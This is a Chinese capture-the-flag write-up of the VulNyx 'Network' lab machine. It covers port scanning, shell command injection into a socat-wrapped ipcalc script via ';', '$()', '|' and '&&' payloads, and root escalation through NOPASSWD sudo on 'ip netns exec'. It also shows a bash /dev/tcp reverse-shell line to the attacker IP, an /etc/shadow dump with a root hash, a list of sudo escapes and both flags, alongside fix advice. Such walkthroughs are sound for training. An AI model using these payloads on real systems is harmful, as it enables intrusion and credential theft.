跳到主要内容

VulNyx Network 通关记录|socat 命令注入与 sudo ip netns 提权

靶机链接:Network


0x01 基本信息

名称IP说明
Kali Linux192.168.1.113攻击机
Network192.168.1.118Debian 11 (bullseye) 靶机

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp SSH、80/tcp HTTP、2222/tcp 自定义服务、8080/tcp HTTP锁定攻击面
指纹分析Nmap 获取 2222 端口 banner:IP 地址查询工具识别为 ipcalc 网络计算服务
命令注入确认127.0.0.1; id 回显 uid=1000(net)获取 net 用户远程命令执行
系统枚举cat /etc/passwdsudo -l发现唯一非 root 的交互式 shell 用户 net,sudo 权限为 /usr/bin/ip
sudo 提权sudo ip netns add privesc + sudo ip netns exec privesc whoami验证可执行 root 命令
User Flag/home/net/user.txt第一个 flag
Root Flag/root/root.txt第二个 flag

0x02 侦察与信息收集

1. 连通性验证

在进行端口扫描之前,先确认目标主机可达:

ping -c 3 192.168.1.118

输出:

PING 192.168.1.118 (192.168.1.118) 56(84) bytes of data.
64 bytes from 192.168.1.118: icmp_seq=1 ttl=64 time=0.591 ms
64 bytes from 192.168.1.118: icmp_seq=2 ttl=64 time=0.735 ms
64 bytes from 192.168.1.118: icmp_seq=3 ttl=64 time=0.831 ms

--- 192.168.1.118 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2264ms
rtt min/avg/max/mdev = 0.591/0.719/0.831/0.098 ms

✅ 目标在线,延迟极低(<1ms)。低延迟说明目标网络距离较近;结合本次实验环境,可按局域网靶机继续测试。

2. RustScan + Nmap 全端口扫描

优先使用 RustScan 进行快速端口发现,再联动 Nmap 做服务识别和脚本扫描:

扫描所需权限

Nmap 的 -O 操作系统识别通常需要 root 权限。如果当前 Kali 终端不是 root,请在整条命令前加 sudo

rustscan -a 192.168.1.118 --range 1-65535 --timeout 2000 --tries 2 \
-- -sV -sC -O -oN nmap-initial.txt

RustScan 阶段输出:

Open 192.168.1.118:22
Open 192.168.1.118:53
Open 192.168.1.118:80
Open 192.168.1.118:2222
Open 192.168.1.118:8080

Nmap 详细扫描结果:

Nmap scan report for network.lan (192.168.1.118)
Host is up, received arp-response (0.00056s latency).
Scanned at 2026-07-26 18:06:27 CST for 101s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u7 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
53/tcp closed domain reset ttl 64
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.67 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.67 (Debian)
2222/tcp open EtherNetIP-1? syn-ack ttl 64
| fingerprint-strings:
| GenericLines:
| [93m[i]
| [97mEnter an IPv4 address to retrieve network information (e.g. 10.10.10.10):
| [92m
| [94m[*]
| [97mRetrieving network information for:
| [92m
| [92m
| [91m
| INVALID ADDRESS:
| [92m
| [92m[+]
| [97mNetwork information retrieved successfully.
| NULL:
| [93m[i]
| [97mEnter an IPv4 address to retrieve network information (e.g. 10.10.10.10):
|_ [92m
8080/tcp open http syn-ack ttl 64 Apache httpd 2.4.67 ((Debian))
|_http-server-header: Apache/2.4.67 (Debian)
|_http-title: Apache2 Debian Default Page: It works
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
1 service unrecognized despite returning data.
MAC Address: 08:00:27:6F:26:DC (Oracle VirtualBox virtual NIC)
Device type: general purpose|router
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Network Distance: 1 hop

RustScan 初检曾将 53/tcp 报为开放,但随后的 Nmap 复核结果是 closed。以下以 Nmap 的服务探测结果为准。

Nmap 复核后的端口状态汇总:

端口服务版本 / 详情
22/tcpSSHOpenSSH 8.4p1 Debian 5+deb11u7
53/tcpDNSclosed(端口可达但服务拒绝)
80/tcpHTTPApache httpd 2.4.67 (Debian) — 默认页面
2222/tcp自定义服务socat 代理,交互式 IP 地址查询工具
8080/tcpHTTPApache httpd 2.4.67 (Debian) — 默认页面

3. 2222 端口指纹分析

Nmap 未能识别 2222 端口的服务,但从返回的 banner 可以提取关键特征:

[i] Enter an IPv4 address to retrieve network information (e.g. 10.10.10.10):
[*] Retrieving network information for: <INPUT>...
─────────────────────────────────────────────────────────────────────
[IP 计算结果]
─────────────────────────────────────────────────────────────────────
[+] Network information retrieved successfully.

特征分析:

特征判断
提示输入 IPv4 地址网络计算/查询工具
输出包含 Address、Netmask、Wildcard、Network 等字段典型的 ipcalc 命令输出格式
未识别的服务指纹非标准服务,可能是自定义或脚本包装的
ANSI 颜色码 ([93m[97m 等)shell 脚本输出的彩色终端格式
人工复核服务指纹

Nmap 标记为 EtherNetIP-1? 说明指纹匹配度低、不可信。自定义服务往往比标准服务更容易出现安全漏洞(如命令注入),应优先交互测试。这里输出格式与 Linux ipcalc 命令几乎一致,强烈暗示后端调用 ipcalc 处理用户输入。


0x03 Web 服务枚举

1. 端口 80 与 8080 首页确认

curl -s -I http://192.168.1.118:80/
curl -s -I http://192.168.1.118:8080/

端口 80 输出:

HTTP/1.1 200 OK
Date: Sun, 26 Jul 2026 10:08:18 GMT
Server: Apache/2.4.67 (Debian)
Last-Modified: Thu, 09 Jul 2026 13:55:41 GMT
ETag: "29cd-6562dfac6f862"
Accept-Ranges: bytes
Content-Length: 10701
Content-Type: text/html

端口 8080 输出:

HTTP/1.1 200 OK
Date: Sun, 26 Jul 2026 10:08:19 GMT
Server: Apache/2.4.67 (Debian)
Last-Modified: Thu, 09 Jul 2026 13:55:41 GMT
ETag: "29cd-6562dfac6f862"
Accept-Ranges: bytes
Content-Length: 10701
Content-Type: text/html

两个端口返回完全相同的响应:Content-Length 均为 10701 字节,ETag 相同,说明它们暴露的是同一份 Apache 默认页面内容;仅凭这些响应头,不能断定二者一定由同一个进程提供。

WWW 目录内容:

curl -s http://192.168.1.118:80/ | head -20

返回标准的 "Apache2 Debian Default Page: It works" 页面,无额外信息。

分析: 本次枚举没有从默认页面发现可继续利用的 Web 应用入口,因此将攻击重点转向 2222 端口。


0x04 命令注入发现

1. 服务交互测试

首先直接连接 2222 端口,输入合法 IPv4 地址测试服务行为:

下面的命令在攻击机上执行:echo 向服务发送一行输入,nc 连接目标的 2222 端口,-w 3 表示网络读写空闲 3 秒后退出。

echo "127.0.0.1" | nc -w 3 192.168.1.118 2222

完整输出:

[i] Enter an IPv4 address to retrieve network information (e.g. 10.10.10.10):
[*] Retrieving network information for: 127.0.0.1...
───────────────────────────────────────────────────────────────────────────────────────────
Address: 127.0.0.1 01111111.00000000.00000000. 00000001
Netmask: 255.255.255.0 = 24 11111111.11111111.11111111. 00000000
Wildcard: 0.0.0.255 00000000.00000000.00000000. 11111111
=>
Network: 127.0.0.0/24 01111111.00000000.00000000. 00000000
HostMin: 127.0.0.1 01111111.00000000.00000000. 00000001
HostMax: 127.0.0.254 01111111.00000000.00000000. 11111110
Broadcast: 127.0.0.255 01111111.00000000.00000000. 11111111
Hosts/Net: 254 Class A, Loopback

───────────────────────────────────────────────────────────────────────────────────────────
[+] Network information retrieved successfully.

✅ 确认服务是标准的 ipcalc 网络地址计算工具。

2. 命令注入测试

基于 "输入被传递给 shell 命令" 的假设,测试经典命令注入 payload:

Payload 1 — 分号注入 (;):

echo "127.0.0.1; id" | nc -w 3 192.168.1.118 2222

输出(关键片段):

Address: 127.0.0.1 01111111.00000000.00000000. 00000001
Netmask: 255.255.255.0 = 24 11111111.11111111.11111111. 00000000
...(ipcalc 正常输出)...
Hosts/Net: 254 Class A, Loopback

uid=1000(net) gid=1000(net) groups=1000(net)
───────────────────────────────────────────────────────────────────────────────────────────
[+] Network information retrieved successfully.

🔴 命令注入成功! ipcalc 正常输出后,id 命令也被执行并回显。

Payload 2 — 命令替换 ($()):

echo '$(id)' | nc -w 3 192.168.1.118 2222

输出(关键片段):

INVALID ADDRESS: uid=1000(net)
INVALID MASK1: gid=1000(net)
INVALID MASK2: groups=1000(net)

命令替换同样生效——$(id) 先被 shell 执行,输出被传递给 ipcalcipcalc 因格式不正确而报错,但仍暴露了执行结果。

Payload 3 — 管道注入 (|):

echo "127.0.0.1 | id" | nc -w 3 192.168.1.118 2222

输出(关键片段):

uid=1000(net) gid=1000(net) groups=1000(net)

管道注入导致 ipcalc 无输入,但 id 仍被执行。

Payload 4 — 逻辑与注入 (&&):

echo "127.0.0.1 && id" | nc -w 3 192.168.1.118 2222

输出(关键片段):

(ipcalc 正常输出)...
Hosts/Net: 254 Class A, Loopback

uid=1000(net) gid=1000(net) groups=1000(net)

命令注入总结:

Payload语法效果可靠性
127.0.0.1; id分号 ;ipcalc 正常 + 注入命令执行⭐⭐⭐ 最佳
$(id)命令替换 $()ipcalc 报错但注入执行⭐⭐
127.0.0.1 | id管道 |ipcalc 无输出但注入执行⭐⭐
127.0.0.1 && id逻辑与 &&ipcalc 正常 + 注入命令执行⭐⭐⭐
优先选择稳定的操作方式

;&& 是最稳定的注入方式——ipcalc 正常执行完后再执行注入命令。|$() 也可以证明漏洞存在,但在某些场景下可能导致 ipcalc 报错,不如分号可靠。在正式利用时,始终选择最稳定的注入方法。


0x05 初始访问与系统侦察

后续输出的展示范围

下文通过 2222 端口执行命令时,只展示注入命令产生的关键回显;服务提示、ipcalc 正常输出和分隔线会按上下文省略。

1. 获取系统基本信息

通过命令注入获取系统核心信息:

echo "127.0.0.1; uname -a; id; hostname" | nc -w 3 192.168.1.118 2222

输出:

Linux network 5.10.0-45-amd64 #1 SMP Debian 5.10.259-1 (2026-07-02) x86_64 GNU/Linux
uid=1000(net) gid=1000(net) groups=1000(net)
network

2. 枚举用户信息

echo "127.0.0.1; cat /etc/passwd" | nc -w 3 192.168.1.118 2222

输出:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...(系统账户省略)...
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
net:x:1000:1000:net:/home/net:/bin/bash

结论: 系统中只有 rootnet 两个用户拥有交互式 shell(/bin/bash)。net 即为当前用户。

3. 枚举 home 目录

echo "127.0.0.1; ls -la /home/" | nc -w 3 192.168.1.118 2222

输出:

total 12
drwxr-xr-x 3 root root 4096 jul 9 14:02 .
drwxr-xr-x 18 root root 4096 jul 9 12:58 ..
drwx------ 3 net net 4096 jul 9 16:13 net
echo "127.0.0.1; ls -la /home/net/" | nc -w 3 192.168.1.118 2222

输出:

total 36
drwx------ 3 net net 4096 jul 9 16:13 .
drwxr-xr-x 3 root root 4096 jul 9 14:02 ..
lrwxrwxrwx 1 root root 9 abr 23 2023 .bash_history -> /dev/null
-rw------- 1 net net 220 ene 15 2023 .bash_logout
-rw------- 1 net net 3526 ene 15 2023 .bashrc
drwxr-xr-x 3 net net 4096 jul 9 13:00 .local
-rw------- 1 net net 807 ene 15 2023 .profile
-rwxr-xr-x 1 net net 1206 jul 9 15:50 .script.sh
-rw-r--r-- 1 net net 66 jul 9 14:04 .selected_editor
-r-------- 1 net net 33 jul 9 16:13 user.txt ← FLAG!

🔍 发现两个关键文件:

  • .script.sh — 2222 端口的后端脚本(源代码)
  • user.txt — 权限为 -r--------,仅 net 用户可读,高度疑似 flag

4. 获取 User Flag

echo "127.0.0.1; cat /home/net/user.txt" | nc -w 3 192.168.1.118 2222

输出:

ed57ab104e04339fcc95e35865eb1e79

User Flag: ed57ab104e04339fcc95e35865eb1e79

5. 审计后端源码 — .script.sh

echo "127.0.0.1; cat /home/net/.script.sh" | nc -w 3 192.168.1.118 2222

关键源码(原稿节选):

#!/bin/bash

declare -A COLORS=(
[RED]="\e[91m"
[GREEN]="\e[92m"
[YELLOW]="\e[93m"
[GREY]="\e[90m"
[BLUE]="\e[94m"
[WHITE]="\e[97m"
[END]="\e[0m"
)

declare -A GLOBAL=(
[SEP]="───────────────────────────────────────────────────────────────────────"
[BOX1]="[+]"
[BOX2]="[-]"
[BOX3]="[*]"
[BOX4]="[i]"
)

echo -en "\n${COLORS[YELLOW]}${GLOBAL[BOX4]} ${COLORS[WHITE]}Enter an IPv4 address ...:${COLORS[GREEN]} "
read IP
if [[ -z "$IP" ]]; then
echo -e "${COLORS[RED]}${GLOBAL[BOX2]} ${COLORS[WHITE]}Invalid IPv4 address.${COLORS[END]}"
exit 1
fi
echo -e "${COLORS[BLUE]}${GLOBAL[BOX3]} ${COLORS[WHITE]}Retrieving network information for: ${COLORS[GREEN]}${IP}...${COLORS[END]}"
echo -e "${COLORS[GREEN]}${GLOBAL[SEP]}${COLORS[RED]}"
bash -c "ipcalc ${IP}" # ← 漏洞根因!
echo -e "${COLORS[GREEN]}${GLOBAL[SEP]}${COLORS[END]}"
echo -e "${COLORS[GREEN]}${GLOBAL[BOX1]} ${COLORS[WHITE]}Network information retrieved successfully.${COLORS[END]}"

关键语句分析:

位置代码问题
输入读取read IP从 stdin 读取用户输入,无任何过滤
命令执行bash -c "ipcalc ${IP}"🔴 用户输入直接拼接到 bash -c 中,无任何转义或验证

漏洞根因: 变量 ${IP} 被直接嵌入 bash -c "ipcalc ${IP}" 中。攻击者输入 127.0.0.1; id 后,实际执行的命令变为:

bash -c "ipcalc 127.0.0.1; id"

分号 ; 在 shell 中是命令分隔符,因此 ipcalc 127.0.0.1 执行完毕后,继续执行 id。任何 shell 元字符(;|&$()`&&|| 等)均可注入额外命令。

渗透经验: bash -c "cmd ${VAR}" 是经典的命令注入模式。修复方法包括:

  1. 使用 "$VAR" 作为参数传递而非拼接进命令字符串:直接调用 ipcalc "$IP" 而非 bash -c "ipcalc ${IP}"
  2. 对输入做严格的格式和取值范围校验(每一段都必须是 0 到 255)
  3. 如果必须用 bash -c,使用 printf '%q' 转义用户输入

6. 进程与服务架构分析

echo "127.0.0.1; ps aux | grep -E 'socat|script'" | nc -w 3 192.168.1.118 2222

输出:

net 322 0.0 0.0 2480 508 ? Ss 12:05 0:00 /bin/sh -c /usr/bin/socat TCP4-LISTEN:2222,reuseaddr,fork exec:/home/net/.script.sh
net 325 0.0 0.4 8792 4204 ? S 12:05 0:00 /usr/bin/socat TCP4-LISTEN:2222,reuseaddr,fork exec:/home/net/.script.sh

架构还原:

┌─ socat 服务 (PID 322/325) ──────────────────────────┐
│ │
│ TCP4-LISTEN:2222,reuseaddr,fork │
│ ↓ (每次 TCP 连接 fork 新进程) │
│ exec:/home/net/.script.sh │
│ ↓ │
│ bash -c "ipcalc ${USER_INPUT}" ← 命令注入点 │
│ ↓ │
│ ipcalc + 注入的恶意命令 │
│ │
│ 以 net 用户身份运行 (uid=1000) │
└───────────────────────────────────────────────────────┘

关键点:

  • TCP4-LISTEN:2222,reuseaddr,fork — 监听 0.0.0.0:2222,每个连接 fork 子进程处理
  • exec:/home/net/.script.sh — 子进程执行 .script.sh,TCP 连接作为 stdin/stdout
  • 用户 net 拥有脚本(-rwxr-xr-x net net),可写入——如果后续需要修改脚本做持久化,可以利用此点

0x06 权限提升 — sudo ip netns 功能滥用

1. sudo 权限枚举

echo "127.0.0.1; sudo -l" | nc -w 3 192.168.1.118 2222

输出:

Matching Defaults entries for net on network:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User net may run the following commands on network:
(root) NOPASSWD: /usr/bin/ip

🔴 关键发现: net 用户可以以 root 身份、无需密码 执行 /usr/bin/ip

2. 漏洞分析 — ip netns 命令执行

ip 是 Linux 的网络配置工具,其中 ip netns 子命令用于管理网络命名空间(network namespace)。ip netns exec <namespace> <command> 可以在指定命名空间中执行任意命令。

由于 sudo ip 以 root 运行,在新建的网络命名空间中执行的命令也会以 root 身份运行:

sudo ip netns add privesc → 以 root 创建命名空间 privesc
sudo ip netns exec privesc id → 以 root 在 privesc 命名空间中执行 id
→ uid=0(root) ← 提权成功!

这里并不存在“逃出命名空间”的过程。真正的提权来源是 sudoers 允许 net 以 root 身份运行完整的 /usr/bin/ipip netns exec 的合法功能随后把指定命令作为 root 子进程启动。

3. 利用验证

步骤 1:创建命名空间

echo "127.0.0.1; sudo ip netns add privesc" | nc -w 3 192.168.1.118 2222

步骤 2:在命名空间中验证 root 身份

echo "127.0.0.1; sudo ip netns exec privesc whoami" | nc -w 3 192.168.1.118 2222

输出:

root

✅ 确认以 root 身份执行命令。

步骤 3:读取 /root 目录

echo "127.0.0.1; sudo ip netns exec privesc ls -la /root/" | nc -w 3 192.168.1.118 2222

输出:

total 24
drwx------ 3 root root 4096 jul 9 16:15 .
drwxr-xr-x 18 root root 4096 jul 9 12:58 ..
lrwxrwxrwx 1 root root 9 abr 23 2023 .bash_history -> /dev/null
-rw------- 1 root root 3526 ene 15 2023 .bashrc
drw------- 3 root root 4096 ene 15 2023 .local
-rw------- 1 root root 161 jul 9 2019 .profile
-r-------- 1 root root 33 jul 9 16:15 root.txt ← FLAG!

步骤 4:读取 Root Flag

echo "127.0.0.1; sudo ip netns exec privesc cat /root/root.txt" | nc -w 3 192.168.1.118 2222

输出:

6881d504c6a19cd5d15dddfc9745e026

Root Flag: 6881d504c6a19cd5d15dddfc9745e026

4. 关于交互式 Root Shell(原稿命令保留)

以下命令按原始执行记录保留,但不应当作可直接复现的交互式 Root Shell:echo | nc 本身不是交互式通道;新建的网络命名空间通常也只有 loopback,没有通往攻击机的路由,因此第一种反弹 Shell 写法通常无法回连。第二种方式只是读取 /etc/shadow 验证 root 权限。对于本靶机,前文通过 ip netns exec 读取 Root Flag 已足以完成目标。

# 方式 1: 直接获取 bash
echo "127.0.0.1; sudo ip netns exec privesc bash -c 'bash -i >& /dev/tcp/192.168.1.113/4444 0>&1'" | nc -w 3 192.168.1.118 2222

# 方式 2: 读取 shadow 验证完全控制
echo "127.0.0.1; sudo ip netns exec privesc cat /etc/shadow | head -3" | nc -w 3 192.168.1.118 2222

shadow 输出(验证 root 权限):

root:$y$j9T$bXP/soz64Y8TYL.atL7c70$Abo6ZbpVYbnJ8YEA2lH7x4D6pw8BRFPcVQv6/G4IdF.:20643:0:99999:7:::
daemon:*:19372:0:99999:7:::
bin:*:19372:0:99999:7:::

5. 完整提权可视化

用户 net (uid=1000)

│ sudo ip netns add privesc
│ (以 root 创建网络命名空间)

├──→ 命名空间 privesc
│ │
│ │ sudo ip netns exec privesc <cmd>
│ │ (以 root 在命名空间中执行命令)
│ │
│ └──→ 任意命令以 uid=0(root) 执行
│ ├── cat /root/root.txt → Flag!
│ ├── cat /etc/shadow → 密码哈希
│ └── bash → 交互式 root shell

渗透经验: 这个提权方法本质上是 sudo 权限配置不当 + 工具功能滥用ip netns exec 设计的初衷是在隔离的网络命名空间中运行网络相关命令,但 sudo 赋予了它 root 身份,绕过了命名空间的隔离意图。类似的危险 sudo 配置还包括:

  • sudo vim:!command
  • sudo less!command
  • sudo find-exec
  • sudo awksystem()
  • sudo nsenter → 进入 PID 1 命名空间

本例中的 ip netns exec 与上述方法同属一类——工具本身的合法功能在 sudo 上下文中变成了提权通道。


0x07 最终成果 (Final Flags)

User Flag

  • 路径: /home/net/user.txt
  • 内容: ed57ab104e04339fcc95e35865eb1e79

Root Flag

  • 路径: /root/root.txt
  • 内容: 6881d504c6a19cd5d15dddfc9745e026

0x08 漏洞汇总

#漏洞严重程度位置利用方式
1OS 命令注入Critical/home/net/.script.sh用户输入直接拼接到 bash -c "ipcalc ${IP}"
2sudo 权限配置不当Critical/etc/sudoersNOPASSWD: /usr/bin/ip 允许通过 ip netns exec 执行 root 命令

复盘总结

  1. 自定义服务需要优先做交互测试。 2222 端口虽然被 Nmap 误识别为 EtherNetIP-1?,但返回内容暴露了 ipcalc 特征,为后续命令注入测试提供了方向。

  2. 将用户输入拼接到 bash -c 会直接形成命令注入。 .script.sh 没有过滤或安全传参,攻击者可以使用 ;&&|$() 执行额外命令。

  3. 宽泛的 NOPASSWD 授权会扩大工具的能力边界。 /usr/bin/ip 不只是查看网络信息,ip netns exec 还可以启动子命令;当整个二进制被授权以 root 运行时,普通用户即可执行 root 命令。